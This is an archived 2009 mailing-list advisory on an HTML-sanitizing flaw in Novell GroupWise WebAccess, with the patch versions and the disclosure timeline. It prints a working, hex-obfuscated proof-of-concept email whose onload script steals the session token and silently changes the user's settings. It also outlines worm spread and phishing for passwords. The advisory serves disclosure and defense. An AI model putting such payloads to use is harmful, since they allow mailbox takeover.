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Novell Groupwise fails to properly sanitize emails.

From: c3rb3r () videotron ca
Date: Thu, 28 May 2009 13:46:58 -0600
Affected product
----------------

Novell Groupwise webaccess 
Affected software: 7.x and 8.0


Vulnerability details
---------------------

Groupwise WebAccess implements a security parser designed to prevent embedded scripts in HTML emails from executing in 
the users's browser.
Unfortunately this parser fails to recognize some unusual but valid syntaxes like the one used in the example shown 
below allowing a maliciously crafted email to run its payload in the context of a user session. 
All the configuration options of a user's mailbox, including proxy and rule lists, are therefore exposed to 
illegitimate modification and will easily grant an attacker read/write access to the victim's mailbox.
A malicious code might be well designed like a worm and spread itself using its victims's address book taking over all 
of a company's mailboxes one after another. 
Even though the accounts's password can't be extracted or changed through direct call to the configuration tools, 
other indirect attacks are still available like using a fake relogin page prompting victims to give up their password.

Following harmless code uses an onload() event handler to bootstrap its payload as soon as the email is open.
The first stage of this script extracts the session token (User.Context) from within the current document's URI and 
used 
to make up the second stage.
The second injects an iframe in the current page which in turn calls the signature configuration interface and changes 
the user's signature on the fly.
This example uses a fake target, 'gwwa.victim.com' that must be changed with a real server addresss/name.
Here, the security parser won't recognize "onload = 'javascript:..." as potentially unsafe just because of the space 
characters.
 
<!--
    <html>
    <head>
    </head>
        <body onmouseover = 'return false;' onload = 'javascript:var context=document.location.href;var 
token=context.replace(/^.+context=([a-z0-9]+).+$/i,"$1");
        var 
malwareS1="%3C%68%74%6D%6C%3E%3C%62%6F%64%79%3E%3C%62%72%2F%3E%3C%62%72%2F%3E%4E%6F%77%20%63%68%65%63%6B%20%79%6F%75%72%20%73%69%67%6E%61%74%75%72%65%20%2E%2E%2E%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%67%77%77%61%2E%76%69%63%74%69%6D%2E%63%6F%6D%2F%67%77%2F%77%65%62%61%63%63%3F%55%73%65%72%2E%63%6F%6E%74%65%78%74%3D";
        var 
malwareS2="%26%61%63%74%69%6F%6E%3D%53%69%67%6E%61%74%75%72%65%2E%4D%6F%64%69%66%79%26%6D%65%72%67%65%3D%73%69%67%6E%61%74%75%72%26%53%69%67%6E%61%74%75%72%65%2E%69%73%45%6E%61%62%6C%65%64%3D%65%6E%61%62%6C%65%64%26%53%69%67%6E%61%74%75%72%65%2E%69%73%41%75%74%6F%6D%61%74%69%63%3D%61%75%74%6F%6D%61%74%69%63%26%53%69%67%6E%61%74%75%72%65%2E%73%69%67%6E%61%74%75%72%65%3D%25%32%30%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%25%30%64%25%30%61%25%30%64%25%30%61%30%77%6E%65%64%2E%22%20%77%69%64%74%68%3D%30%70%78%20%68%65%69%67%68%74%3D%30%70%78%3E%3C%2F%69%66%72%61%6D%65%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E";
        document.write(unescape(malwareS1)+token+unescape(malwareS2));return false;'>
            <br/>
            <br/><br/>Now check your signature ...
        </body>
    </html>
-->


Resolution
----------

For GroupWise 7.x systems, apply GroupWise 7.03 Hot Patch 3 (HP3) or later
For GroupWise 8.0 systems, apply GroupWise 8.0 Hot Patch 2 (HP2) or later


Disclosure timeline
-------------------

2009-01-29: Vulnerability reported to Novell.
2009-05-21: Patch released by Novell.
2009-05-28: Public disclosure.


References
----------

http://www.novell.com/support/viewContent.do?externalId=7003268
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1635

---
Gregory Duchemin
Current thread:

Novell Groupwise fails to properly sanitize emails. c3rb3r (May 28)